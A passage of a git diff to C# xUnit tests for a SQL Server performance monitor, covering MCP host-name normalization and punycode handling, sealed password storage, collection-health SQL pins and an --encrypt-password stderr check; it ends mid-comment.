+    [InlineData("b\u00FCcher.example..")]      // two trailing dots, the same typo as in an ASCII name
+    [InlineData("b\u00FCcher.example\u3002")]  // a trailing ideographic full stop maps to a trailing dot
+    [InlineData("b\u200D\u00FCcher.example")]  // a zero-width joiner the IDN rules do not allow there
+    public void NormalizeHostName_RefusesAnInvalidInternationalizedName(string raw)
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("xn--a")]                // decodes to a control character, which IDNA disallows
+    [InlineData("mcp.xn--a.example")]    // the same label inside a longer name
+    [InlineData("MCP.XN--A.Example")]    // the prefix is not case sensitive
+    public void NormalizeHostName_RefusesAnXnLabelThatDoesNotDecode(string raw)
+        /* #5288: an ASCII name made of letters and a hyphen is a DNS name to Uri.CheckHostName, so "xn--a" used to be
+           kept. The MCP host then decodes it with HostString.FromUriComponent, which throws ArgumentException for a
+           label that does not decode, and MCP failed to start. Refused here, the host logs its one "set but refused"
+           Warning and admits nothing (fail closed). */
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("xn--bcher-kva.example")]
+    [InlineData("mcp.xn--bcher-kva.example")]
+    [InlineData("xn--e1afmkfd.example")]
+    public void NormalizeHostName_KeepsAnXnNameThatDecodes_AsWritten(string raw)
+        /* The decode is a check, not a rewrite (#5288): a lower-case punycode name that decodes is returned exactly as
+           written, not decoded to Unicode. */
+        => Assert.Equal(raw, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("XN--BCHER-KVA.EXAMPLE", "xn--bcher-kva.example")]
+    [InlineData("XN--BCHER-KVA.Example", "xn--bcher-kva.example")]
+    [InlineData("Xn--BCHER-kva.example", "xn--bcher-kva.example")]
+    [InlineData("MCP.XN--E1AFMKFD.Example", "mcp.xn--e1afmkfd.example")]
+    [InlineData("  XN--BCHER-KVA.EXAMPLE. ", "xn--bcher-kva.example")]
+    public void NormalizeHostName_FoldsAnUpperCasePunycodeName_ToLowerCase(string raw, string expected)
+        /* #5288: IDNA names are case-insensitive, and the framework decodes a Host header's xn-- labels only when the
+           prefix is lower case (the form a client sends). Every spelling of one punycode name has to come out in one
+           form, and it is the lower-case one. */
+        => Assert.Equal(expected, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Fact]
+    public void NormalizeHostName_UpperAndLowerCasePunycode_NormalizeTheSame_AndBothMatchTheClientsName()
+    {
+        var upper = McpNetworkConfig.NormalizeHostName("XN--BCHER-KVA.EXAMPLE");
+        var lower = McpNetworkConfig.NormalizeHostName("xn--bcher-kva.example");
+
+        Assert.NotNull(upper);
+        Assert.Equal(lower, upper);
+
+        /* What the Host guard compares: the name a client sends, decoded the way the framework decodes a Host header.
+           The MCP host runs the configured name through the same conversion. */
+        var clientsName = Microsoft.AspNetCore.Http.HostString.FromUriComponent("xn--bcher-kva.example");
+        Assert.Equal(clientsName.Value, Microsoft.AspNetCore.Http.HostString.FromUriComponent(upper).Value);
+        Assert.Equal(clientsName.Value, Microsoft.AspNetCore.Http.HostString.FromUriComponent(lower!).Value);
+    }
+
+    [Theory]
+    [InlineData("MCP.Corp.Example")]
+    [InlineData("A-XN--B.Example")]      // "XN--" inside a label is not an ACE prefix: there is no label to fold
+    public void NormalizeHostName_ANameWithNoXnLabel_KeepsItsCase(string raw)
+        => Assert.Equal(raw, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("mcp.corp.example")]
+    [InlineData("MCP.Corp.Example.")]
+    [InlineData("bücher.example")]
+    [InlineData("xn--bcher-kva.example")]
+    [InlineData("XN--BCHER-KVA.EXAMPLE")]
+    [InlineData("a-xn--b.example")]      // "xn--" inside a label is not an ACE prefix: nothing to decode
+    public void NormalizeHostName_AnyNameItKeeps_IsOneHostStringFromUriComponentAccepts(string raw)
+    {
+        /* The invariant the MCP host leans on (#5288): whatever NormalizeHostName returns converts without throwing,
+           so the Host guard's name never makes start-up fail. */
+        var name = McpNetworkConfig.NormalizeHostName(raw);
+
+        Assert.NotNull(name);
+        var converted = Record.Exception(() => { _ = Microsoft.AspNetCore.Http.HostString.FromUriComponent(name); });
+        Assert.Null(converted);
+    }
+
+    [Fact]
+    public void NormalizeHostName_RefusesALoneSurrogate_AndALabelTooLongOnceEncoded()
+    {
+        /* Built at run time: a lone surrogate in an [InlineData] literal is not safe to serialize into a test id. */
+        Assert.Null(McpNetworkConfig.NormalizeHostName("mcp" + (char)0xD800 + ".example"));
+
+        /* The 63-character label limit applies to the ENCODED form: 30 u-umlauts encode to a valid label, 60 do not. */
+        Assert.NotNull(McpNetworkConfig.NormalizeHostName(new string('\u00FC', 30) + ".example"));
+        Assert.Null(McpNetworkConfig.NormalizeHostName(new string('\u00FC', 60) + ".example"));
+    }
+
+    [Theory]
+    [InlineData("https://b\u00FCcher.example")]    // a scheme
+    [InlineData("b\u00FCcher.example:5152")]       // a port
+    [InlineData("b\u00FCcher.example/mcp")]        // a path
+    [InlineData("*.b\u00FCcher.example")]          // a wildcard
+    [InlineData("b\u00FCcher corp.example")]       // whitespace inside
+    [InlineData("\uFF11\uFF10.1.2.3")]             // a fullwidth "10": the whole name MAPS to an IPv4 address
+    [InlineData("\uFF3B\uFF1A\uFF1A\uFF11\uFF3D")] // a fullwidth "[::1]": it maps to an IPv6 address
+    public void NormalizeHostName_RunsTheDnsTestOnTheAsciiForm_SoAMappedNonNameIsStillRefused(string raw)
+        /* The mapping lets these through (it only rewrites the Unicode); what refuses them is the same
+           Uri.CheckHostName test an ASCII name gets, now run on the mapped form. Without that second look a fullwidth
+           IP address would become an ASCII one and be admitted as a name. */
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Fact]
+    public void NormalizeHostName_ASetButRefusedValue_IsDistinguishableFromNotSet()
+    {
+        /* The host logs ONE Warning for a value that is set but refused (and ignores it), and nothing for an unset
+           one. The distinction is "HostName not blank" together with a null result, so both halves must hold. */
+        var refused = new McpNetworkConfig { HostName = "https://mcp.corp.example" };
+        Assert.False(string.IsNullOrWhiteSpace(refused.HostName));
+        Assert.Null(McpNetworkConfig.NormalizeHostName(refused.HostName));
+
+        var unset = new McpNetworkConfig { HostName = "  " };
+        Assert.True(string.IsNullOrWhiteSpace(unset.HostName));
+        Assert.Null(McpNetworkConfig.NormalizeHostName(unset.HostName));
+    }
+
     [Fact]
     public void McpNetworkConfig_ResolveToken_PrefersEncrypted_FlagsPlaintext()
     {
@@ -387,7 +682,7 @@ public void Secrets_DpapiRoundTrip_BlobPreferredOverPlaintext()
         Assert.NotEqual("s3cret!", blob);
         Assert.Equal("s3cret!", DarlingSecrets.Unprotect(blob));
 
-        var server = Server(s => { s.Auth = "sql"; s.Username = "u"; s.EncryptedPassword = blob; s.Password = "wrong-plaintext"; });
+        var server = Server(s => { s.Auth = "sql"; s.Username = "u"; s.EncryptedPassword = blob; s.EncryptedPasswordDeclaredByFile = true; s.Password = "wrong-plaintext"; });
         Assert.Equal("s3cret!", DarlingSecrets.ResolvePassword(server, out var usedPlaintext));
         Assert.False(usedPlaintext);
 
@@ -396,52 +691,48 @@ public void Secrets_DpapiRoundTrip_BlobPreferredOverPlaintext()
         Assert.True(usedPlaintext);
     }
 
+    /* #2087's resolve half (a reference in the encrypted-password slot resolves instead of being unprotected) moved to
+       DarlingSecretsOwnedReferenceTests (#5240): the resolve now reads the process-wide owned set, so its test sets that
+       set, in the collection every class that sets it belongs to. */
+
     /// <summary>
-    /// #2087: add_servers stores env:/file: secret REFERENCES verbatim in the encrypted-password slot on
-    /// Linux (a pointer is not a secret, and DPAPI does not exist there). The resolver must therefore
-    /// recognize a reference in that slot and resolve it instead of feeding it to DPAPI Unprotect — which
-    /// would throw on every platform, since a reference is not a base64 blob.
+    /// #2087's storage half: a reference passes through UNTOUCHED on every platform (the Linux onboarding
+    /// path), a literal is sealed for the connection it is saved with and opens only for it (#5366), and Windows-auth
+    /// (no password) stays null.
     /// </summary>
     [Fact]
-    public void ResolvePassword_ReferenceInEncryptedSlot_ResolvesInsteadOfUnprotecting()
+    public void ProtectPasswordForStorage_ReferencesPassThrough_LiteralsAreSealed()
     {
-        Environment.SetEnvironmentVariable("DARLING_TEST_2087_PW", "ref-resolved!");
-        try
-        {
-            var server = Server(s => { s.Auth = "sql"; s.Username = "u"; s.EncryptedPassword = "env:DARLING_TEST_2087_PW"; });
-            Assert.Equal("ref-resolved!", DarlingSecrets.ResolvePassword(server, out var usedPlaintext));
+        var ring = TestKeyRings.Healthy;
+        var binding = PasswordBinding.ForServer(
+            ServerConnectionIdentity.FromStoredColumns("sql-example", 0, "sqlserver", null, false, "sql", "monitor", "Mandatory", false, false));
 
-            /* A reference is not plaintext-in-config — callers must not warn on it (the #1804 rule). */
-            Assert.False(usedPlaintext);
-        }
-        finally
-        {
-            Environment.SetEnvironmentVariable("DARLING_TEST_2087_PW", null);
-        }
+        Assert.Equal(
+            "file:/run/secrets/sql_password",
+            DarlingMcpServerAdminTools.ProtectPasswordForStorage("file:/run/secrets/sql_password", binding, ring));
+        Assert.Equal("env:SQL_PW", DarlingMcpServerAdminTools.ProtectPasswordForStorage("env:SQL_PW", binding, ring));
+        Assert.Null(DarlingMcpServerAdminTools.ProtectPasswordForStorage(null, binding, ring));
+        Assert.Null(DarlingMcpServerAdminTools.ProtectPasswordForStorage("", binding, ring));
+
+        var stored = DarlingMcpServerAdminTools.ProtectPasswordForStorage("literal-pw", binding, ring);
+        Assert.NotNull(stored);
+        Assert.StartsWith(PasswordSeal.V1Prefix, stored, StringComparison.Ordinal);
+        Assert.DoesNotContain("literal-pw", stored, StringComparison.Ordinal);
+        Assert.Equal("literal-pw", ring.Open(stored!, binding));
+
+        var other = PasswordBinding.ForServer(
+            ServerConnectionIdentity.FromStoredColumns("sql-other", 0, "sqlserver", null, false, "sql", "monitor", "Mandatory", false, false));
+        Assert.Throws<PasswordSealException>(() => { _ = ring.Open(stored!, other); });
     }
 
-    /// <summary>
-    /// #2087's storage half: a reference passes through UNTOUCHED on every platform (the Linux onboarding
-    /// path), a literal still DPAPI-encrypts on Windows, and Windows-auth (no password) stays null.
-    /// </summary>
     [Fact]
-    public void ProtectPasswordForStorage_ReferencesPassThrough_LiteralsEncrypt()
+    public void ProtectPasswordForStorage_ALiteralWhileTheKeyIsNotReady_Throws_WithTheKeysReason()
     {
-        Assert.Equal(
-            "file:/run/secrets/sql_password",
-            DarlingMcpServerAdminTools.ProtectPasswordForStorage("file:/run/secrets/sql_password"));
-        Assert.Equal(
-            "env:SQL_PW",
-            DarlingMcpServerAdminTools.ProtectPasswordForStorage("env:SQL_PW"));
-        Assert.Null(DarlingMcpServerAdminTools.ProtectPasswordForStorage(null));
-        Assert.Null(DarlingMcpServerAdminTools.ProtectPasswordForStorage(""));
+        var binding = PasswordBinding.ForServer(
+            ServerConnectionIdentity.FromStoredColumns("sql-example", 0, "sqlserver", null, false, "sql", "monitor", "Mandatory", false, false));
 
-        if (OperatingSystem.IsWindows())
-        {
-            var stored = DarlingMcpServerAdminTools.ProtectPasswordForStorage("literal-pw");
-            Assert.NotNull(stored);
-            Assert.NotEqual("literal-pw", stored);
-            Assert.Equal("literal-pw", DarlingSecrets.Unprotect(stored!));
-        }
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => { _ = DarlingMcpServerAdminTools.ProtectPasswordForStorage("literal-pw", binding, TestKeyRings.NotReady); });
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, ex.Message);
     }
 }
diff --git a/Darling/Darling.Tests/DarlingCustomViewsTests.cs b/Darling/Darling.Tests/DarlingCustomViewsTests.cs
index ab5173e92a..06d8442c0a 100644
--- a/Darling/Darling.Tests/DarlingCustomViewsTests.cs
+++ b/Darling/Darling.Tests/DarlingCustomViewsTests.cs
@@ -192,7 +192,7 @@ public void Catalog_ParamsNameTheActualWireQueryKeys_NotCSharpParamNames()
         AssertParamKeys("get_wait_stats", "server", "hours", "limit", "as_of");
         AssertParamKeys("get_wait_trend", "wait_type", "server", "hours", "as_of", "bucket_minutes");
         AssertParamKeys("get_plan_xml", "query_hash", "server", "database_name");
-        AssertParamKeys("get_top_queries_by_cpu", "server", "hours", "top", "database_name", "parallel_only", "min_dop", "as_of");
+        AssertParamKeys("get_top_queries_by_cpu", "server", "hours", "top", "database_name", "parallel_only", "min_dop", "order_by", "as_of", "detail");
         AssertParamKeys("compare_analysis", "server", "hours", "baseline_hours_back", "as_of");
         AssertParamKeys("get_fleet_overview", "hours", "detail", "worst_only", "band");
         AssertParamKeys("list_servers");
diff --git a/Darling/Darling.Tests/DarlingDailySummaryRangeTests.cs b/Darling/Darling.Tests/DarlingDailySummaryRangeTests.cs
index 68e1f5b4f7..4416667492 100644
--- a/Darling/Darling.Tests/DarlingDailySummaryRangeTests.cs
+++ b/Darling/Darling.Tests/DarlingDailySummaryRangeTests.cs
@@ -78,7 +78,8 @@ public async Task TheCalendar_BandsEachDaySeparately_ShowsCollectionGaps_AndAnch
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
             await DarlingMcpTestData.RegisterServerAsync(connection, NeverCollectedServerId, NeverCollectedServerName, ct);
 
-            var today = DateTime.UtcNow.Date;
+            var utcNow = DateTime.UtcNow; // #5496: one reading -- "today" and today's seeded run must be the same calendar day
+            var today = utcNow.Date;
             var twoDaysAgo = today.AddDays(-2);
             var tenDaysAgo = today.AddDays(-10);
 
@@ -100,7 +101,7 @@ A dedicated server (see NeverCollectedServerId) so this empty read does not warm
                 tier, never Critical). Yesterday is deliberately left alone: it is the gap, and the point of
                 the read is that a gap is visible as an ABSENT day rather than as a quiet one.
             */
-            await SeedRunAsync(connection, ct, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow), "wait_stats", "SUCCESS");
+            await SeedRunAsync(connection, ct, DarlingMcpTestData.TruncateToSeconds(utcNow), "wait_stats", "SUCCESS");
             await SeedRunAsync(connection, ct, twoDaysAgo.AddHours(12), "wait_stats", "SUCCESS");
             await SeedRunAsync(connection, ct, twoDaysAgo.AddHours(13), "query_store", "ERROR");
 
diff --git a/Darling/Darling.Tests/DarlingEmptyEnumerationInventoryTests.cs b/Darling/Darling.Tests/DarlingEmptyEnumerationInventoryTests.cs
index d8c1c72929..b4e7d02170 100644
--- a/Darling/Darling.Tests/DarlingEmptyEnumerationInventoryTests.cs
+++ b/Darling/Darling.Tests/DarlingEmptyEnumerationInventoryTests.cs
@@ -422,24 +422,20 @@ public async Task TheFleetReadStillCarriesNoInventory_AgainstDevPostgres()
         try
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
-            /* The fleet read is scoped to the CONFIG registry, not the collector-side servers table. */
-            await DarlingMcpTestData.ExecAsync(connection, ct, @"
-INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, TRUE)
-ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ServerId, ServerName);
 
             await SeedLogAsync(connection, ct, FleetProbeCollector, MinutesAgo(30), EnumeratedCollectorDriver.EmptyEnumerationMessage);
             await SeedSizeAsync(connection, ct, "AdventureWorks", 7, MinutesAgo(25));
 
-            /* #1863's decision, extended: the fleet rollup projects the ordinal and NOT the value. It
-               groups server_id INTO the result, so there is no single server to probe an inventory for,
-               and its only caller counts bands — with last_note already NULL the formatter returns blank
-               whatever the flag says. A real value here would be a second cross-collector join across
-               every enabled server on a query the status bar re-runs on every aggregate-tab refresh,
-               which is the cost #1855 measured and declined. Asserted against live data that WOULD
-               qualify on the per-server read, so a fleet read that quietly grew the join fails here. */
+            /* #1863's decision, extended: the fleet rollup projects no inventory at all. It groups server_id
+               INTO the result, so there is no single server to probe an inventory for, and its callers (the
+               Overview cards and the status bar, through the by-server read) count bands — the formatter
+               returns blank whatever the flag says. A real value here would be a second cross-collector join
+               across every server on a query the status bar re-runs on every aggregate-tab refresh, which is
+               the cost #1855 measured and declined. Asserted against live data that WOULD qualify on the
+               per-server read, so a fleet read that quietly grew the join fails here. */
             await using var viewer = new ViewerDataService(cs!);
 
-            var fleet = (await viewer.GetFleetCollectionHealthAsync(ct))
+            var fleet = (await viewer.GetFleetCollectionHealthByServerAsync(ct))[ServerId]
                 .Where(h => h.CollectorName == FleetProbeCollector)
                 .ToList();
 
@@ -465,9 +461,9 @@ be satisfied by an inventory subquery that never matches anything. */
     /* ── helpers ── */
 
     /// <summary>
-    /// The fleet read rolls up EVERY enabled server and its rows carry no server_id, so the fleet
-    /// assertions scope themselves by a collector name no real install has — the sentinel-server
-    /// discipline applied to the only key that projection exposes.
+    /// The fleet read rolls up EVERY server in the store, so the fleet assertions scope themselves by this
+    /// sentinel server's rows and by a collector name no real install has — the sentinel-server
+    /// discipline.
     /// </summary>
     private const string FleetProbeCollector = "inventory_fleet_probe";
 
diff --git a/Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs b/Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs
index bc45f5a6f2..0eaf5a8259 100644
--- a/Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs
+++ b/Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// The zero-items branch needs a live SQL Server, so its wiring is pinned at source (the #1805
 /// DarlingLockTimeoutYieldTests idiom). The record's carrying behavior is pinned for real.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingEmptyEnumerationNoteTests
 {
     [Fact]
@@ -139,11 +140,12 @@ public void Last_Error_Stays_Gated_On_Failure_Statuses_Not_On_Message_Presence()
            both readers. A broadening to error_message IS NOT NULL would turn every quiet enumeration
            cycle into a fake last-error.
 
-           #1855 replaced the value-MAX with a newest-first rank, so the gate now reads as the status
-           re-check on the rank-1 row. It is the SAME claim: the column can only ever be filled from a
-           failing run. Without the re-check the rank falls through to the newest row of any class when
-           no failure carried text, and a SUCCESS row's note would land here. Lite's twin pin asserts the
-           identical expression against its DuckDB read. */
+           #1855 replaced the value-MAX with a newest-first rank, and #4955 replaced the rank with a lookup
+           of the newest failing run that carried text, so the gate now reads as the failing-status filter
+           on the row the lookup returns. It is the SAME claim: the column can only ever be filled from a
+           failing run. A lookup keyed on the instant alone would land on a SUCCESS row's note when that run
+           shares the instant, and a note would land here. Lite's twin pin asserts the identical expression
+           against its DuckDB read. */
         foreach (var relative in new[]
         {
             Path.Combine("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectionHealth.cs"),
@@ -155,8 +157,16 @@ identical expression against its DuckDB read. */
                remedy (the extension, named), so keeping it out would band a collector EXTENSION_MISSING
                beside a blank Last Error. Still a STATUS gate — the broadening this pin refuses is to
                message PRESENCE, and that refusal is unchanged. */
-            Assert.Contains("MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error", source);
-            Assert.DoesNotContain("error_message IS NOT NULL", source);
+            Assert.Contains("failed.error_message AS last_error", source);
+            Assert.Matches(@"AND\s+f\.status IN \('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING'\)\s+AND\s+f\.error_message IS NOT NULL", source);
+            Assert.Matches(@"status IN \('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING'\)\s+AND error_message IS NOT NULL\s+THEN collection_time END\) AS last_failure_text_time", source);
+
+            /* Message presence is only ever the second half of a class whose first half is a status: every
+               error_message IS NOT NULL in the read follows a status gate, so no clause admits a row on
+               its text alone. */
+            Assert.Equal(
+                Regex.Matches(source, @"error_message IS NOT NULL").Count,
+                Regex.Matches(source, @"(?:status IN \('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING'\)|status = 'SUCCESS')\s+AND\s+(?:\w+\.)?error_message IS NOT NULL").Count);
         }
     }
 
@@ -169,8 +179,8 @@ public void Health_Reads_Surface_The_Note_Gated_On_SUCCESS()
            runners attach a note only to the SUCCESS write, and the looser complement of last_error would
            drag Darling's SESSION_MISSING rows — a real capture fault with its own self-alert — into a
            column whose tooltip promises it is NOT an error. Every gate on this surface is still a STATUS
-           gate — #1855's rank orders on whether the status-gated CASE came back empty, never on message
-           presence alone (the pin above). */
+           gate — #1855's rank (now #4955's lookup) takes the newest row of the status-gated class, never
+           a row on message presence alone (the pin above). */
         foreach (var relative in new[]
         {
             Path.Combine("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectionHealth.cs"),
@@ -178,48 +188,47 @@ presence alone (the pin above). */
         })
         {
             var source = ReadRepoFile(relative);
-            Assert.Contains("MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note", source);
+            Assert.Contains("noted.error_message AS last_note", source);
+            Assert.Matches(@"AND\s+t\.status = 'SUCCESS'\s+AND\s+t\.error_message IS NOT NULL", source);
             Assert.Contains("COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count", source);
         }
     }
 
     [Fact]
-    public void The_Viewers_Fleet_Read_Projects_The_Same_Columns_As_The_Per_Server_One()
+    public void The_Per_Server_Health_Read_Projects_The_Columns_Its_Mapper_Reads_And_The_Fleet_Read_Projects_No_Message()
     {
-        /* Both viewer health reads feed ONE mapper (MapHealthRow), so a column added to the per-server
-           projection alone would make the fleet read throw on the new ordinal at runtime — a defect no
-           per-SQL test would catch, because each SQL string is individually valid. */
+        /* The per-server read is the one statement that feeds the viewer's mapper (MapHealthRow), ordinal for ordinal: a column
+           added to the mapper alone would make the read throw on the new ordinal at runtime, a defect no per-SQL test would
+           catch, because each SQL string is individually valid. The fleet-cumulative statement that once shared the mapper was
+           removed (#4999); the status bar and the Overview cards read the by-server fleet statement through a mapper of their own. */
         var source = ReadRepoFile(Path.Combine("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectionHealth.cs"));
 
         var perServer = ViewerDataService.CollectionHealthSql;
-        var fleet = ViewerDataService.FleetCollectionHealthSql;
+        var fleet = ViewerDataService.FleetCollectionHealthByServerSql;
         foreach (var column in new[] { "AS last_note", "AS note_count", "AS has_user_databases" })
         {
             Assert.Contains(column, perServer);
-            Assert.Contains(column, fleet);
         }
 
         Assert.Contains("LastNote = reader.IsDBNull(11)", source);
         Assert.Contains("NoteCount = reader.IsDBNull(12)", source);
         Assert.Contains("TargetHasUserDatabases = !reader.IsDBNull(13)", source);
-
-        /* #1855: the fleet read holds the ORDINALS but deliberately not the exemplar TEXT. Its only
-           caller bands and counts; no surface renders a fleet row's message, and ranking them turns a
-           parallel hash aggregate into a serial sort of the whole window (measured 0.84s -> 13.9s over
-           200 servers / 4M rows on PG 18.4). NULL rather than the pre-#1855 lexicographic MAX, because a
-           blank is honestly nothing while that MAX was quietly the wrong run's text. Pinned so a future
-           edit that "completes the parity" has to meet the cost first — the note_count aggregate, which
-           is order-independent and cheap, deliberately stays real on both. */
-        Assert.Contains("CAST(NULL AS text) AS last_note", fleet);
-        Assert.Contains("CAST(NULL AS text) AS last_error", fleet);
-        Assert.Contains("COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count", fleet);
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(source, @"\bMapHealthRow\(reader\)"));
+
+        /* #1855: the fleet read carries band INPUTS and not exemplar TEXT. No surface renders a fleet row's message, and ranking
+           them turns a parallel hash aggregate into a serial sort of the whole window (measured 0.84s -> 13.9s over 200 servers /
+           4M rows on PG 18.4). Pinned so a future edit that "completes the parity" has to meet the cost first. The per-server read
+           owns the exemplars outright: real text, never a NULL placeholder, and the note_count aggregate (order-independent and
+           cheap) is real there. */
+        Assert.DoesNotContain("last_error", fleet);
+        Assert.DoesNotContain("AS last_note", fleet);
+        Assert.DoesNotContain("ROW_NUMBER()", fleet);
+        Assert.Contains("COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count", perServer);
         Assert.DoesNotContain("CAST(NULL AS text)", perServer);
 
-        /* #1852 holds the same line for the same reasons plus one of its own: the fleet read groups
-           server_id INTO the result, so there is no single server to probe an inventory for. A truthful
-           fleet version would be a cross-collector join across every enabled server on a query the status
-           bar re-runs on every aggregate-tab refresh. The per-server read owns the subquery outright. */
-        Assert.Contains("CAST(NULL AS integer) AS has_user_databases", fleet);
+        /* #1852 holds the same line for the same reasons plus one of its own: the fleet read groups server_id INTO the result,
+           so there is no single server to probe an inventory for, and a truthful fleet version would be a cross-collector join
+           across every server on a query the status bar re-runs on every refresh. The per-server read owns the subquery. */
         Assert.Contains("FROM v_database_size_stats", perServer);
         Assert.DoesNotContain("v_database_size_stats", fleet);
     }
diff --git a/Darling/Darling.Tests/DarlingEncryptPasswordStreamTests.cs b/Darling/Darling.Tests/DarlingEncryptPasswordStreamTests.cs
new file mode 100644
index 0000000000..2598f79968
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingEncryptPasswordStreamTests.cs
@@ -0,0 +1,172 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Text;
+using System.Threading.Tasks;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5413: a SUCCESSFUL scripted <c>--encrypt-password</c> must not write to the error stream.
+///
+/// <para>Windows PowerShell 5.1 turns every line a native command writes to a captured or redirected error
+/// stream into an error record, so under <c>$ErrorActionPreference = 'Stop'</c> a run that succeeded still
+/// stopped the script. The verb used to write its <c>Password: </c> prompt and its "Paste the line above"
+/// hint to stderr unconditionally. The prompt now appears only when input comes from a person, the hint only
+/// when output goes to a console, and the error paths (including the #2097 empty-read guidance) are
+/// unchanged.</para>
+///
+/// <para>The verb is inline in <c>Program.cs</c>, so these tests run the built service executable as a
+/// process, the way the install script and an operator's script do.</para>
+/// </summary>
+public class DarlingEncryptPasswordStreamTests
+{
+    private const string DummyInput = "dummy-input-for-the-test";
+
+    /// <summary>
+    /// How long each child may take to exit (#5459). Neither child waits on anything of its own: the verb reads one line
+    /// from a stdin the test has already closed, makes one local DPAPI call and prints, and PowerShell runs a four-line
+    /// script. What a busy runner stretches is the START of each: a freshly built executable that an antivirus scan
+    /// opens first, and a cold Windows PowerShell 5.1 (the same cold start #4866 and #4911 gave a 180 s limit). A hang
+    /// still fails, 180 s later.
+    /// </summary>
+    private static readonly TimeSpan PowerShellExitLimit = TimeSpan.FromSeconds(180);
+
+    private sealed record RunResult(int ExitCode, string StdOut, string StdErr);
+
+    /// <summary>
+    /// The service's own build output folder, found from the test output folder. The test output
+    /// folder's copy of the executable is not runnable on its own: it lacks the DPAPI assembly the service ships with.
+    /// </summary>
+    private static string ServiceExePath()
+    {
+        var tfmDir = new DirectoryInfo(AppContext.BaseDirectory.TrimEnd(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar));
+        var configDir = tfmDir.Parent!;
+        var testProjectDir = configDir.Parent!.Parent!;
+        return Path.Combine(
+            testProjectDir.Parent!.FullName, "PerformanceMonitor.Darling.Service", "bin", configDir.Name, "net10.0",
+            "PerformanceMonitor.Darling.Service.exe");
+    }
+
+    private static ProcessStartInfo ServiceStartInfo()
+    {
+        var exe = ServiceExePath();
+        Assert.True(File.Exists(exe), $"The service build output was not found at {exe}.");
+        return new ProcessStartInfo(exe);
+    }
+
+    private static async Task<RunResult> RunEncryptPassword(string? stdin)
+    {
+        var info = ServiceStartInfo();
+        info.ArgumentList.Add("--encrypt-password");
+        info.RedirectStandardInput = true;
+        info.RedirectStandardOutput = true;
+        info.RedirectStandardError = true;
+        info.UseShellExecute = false;
+        info.CreateNoWindow = true;
+
+        using var process = Process.Start(info);
+        Assert.NotNull(process);
+
+        if (stdin is not null)
+        {
+            process!.StandardInput.WriteLine(stdin);
+        }
+
+        process!.StandardInput.Close();
+
+        var stdoutTask = process.StandardOutput.ReadToEndAsync();
+        var stderrTask = process.StandardError.ReadToEndAsync();
+        Assert.True(process.WaitForExit(PowerShellExitLimit), $"--encrypt-password did not exit within {PowerShellExitLimit.TotalSeconds:0} seconds.");
+        return new RunResult(process.ExitCode, await stdoutTask, await stderrTask);
+    }
+
+    [Fact]
+    public async Task EncryptPassword_ScriptedSuccess_WritesNothingToStderr_AndOnlyTheBlobToStdout()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
+
+        var result = await RunEncryptPassword(DummyInput);
+
+        Assert.Equal(0, result.ExitCode);
+        Assert.Equal(string.Empty, result.StdErr);
+
+        var lines = result.StdOut.Split('\n', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
+        var blob = Assert.Single(lines);
+        Assert.StartsWith("AQAAA", blob, StringComparison.Ordinal);
+        Assert.Equal(DummyInput, PerformanceMonitor.Darling.Service.DarlingSecrets.Unprotect(blob));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    public async Task EncryptPassword_EmptyRead_StillExitsOne_WithErrorLineAndStdoutGuidance(string? stdin)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
+
+        var result = await RunEncryptPassword(stdin);
+
+        /* #2097 unchanged: the error line stays on stderr, the guidance rides stdout, and the exit code is 1. */
+        Assert.Equal(1, result.ExitCode);
+        Assert.Contains("No password read from stdin.", result.StdErr, StringComparison.Ordinal);
+        Assert.DoesNotContain("Password: ", result.StdErr, StringComparison.Ordinal);
+        Assert.Contains("No interactive input received.", result.StdOut, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The failing shape from the issue, run under <c>powershell.exe</c> (Windows PowerShell 5.1): the
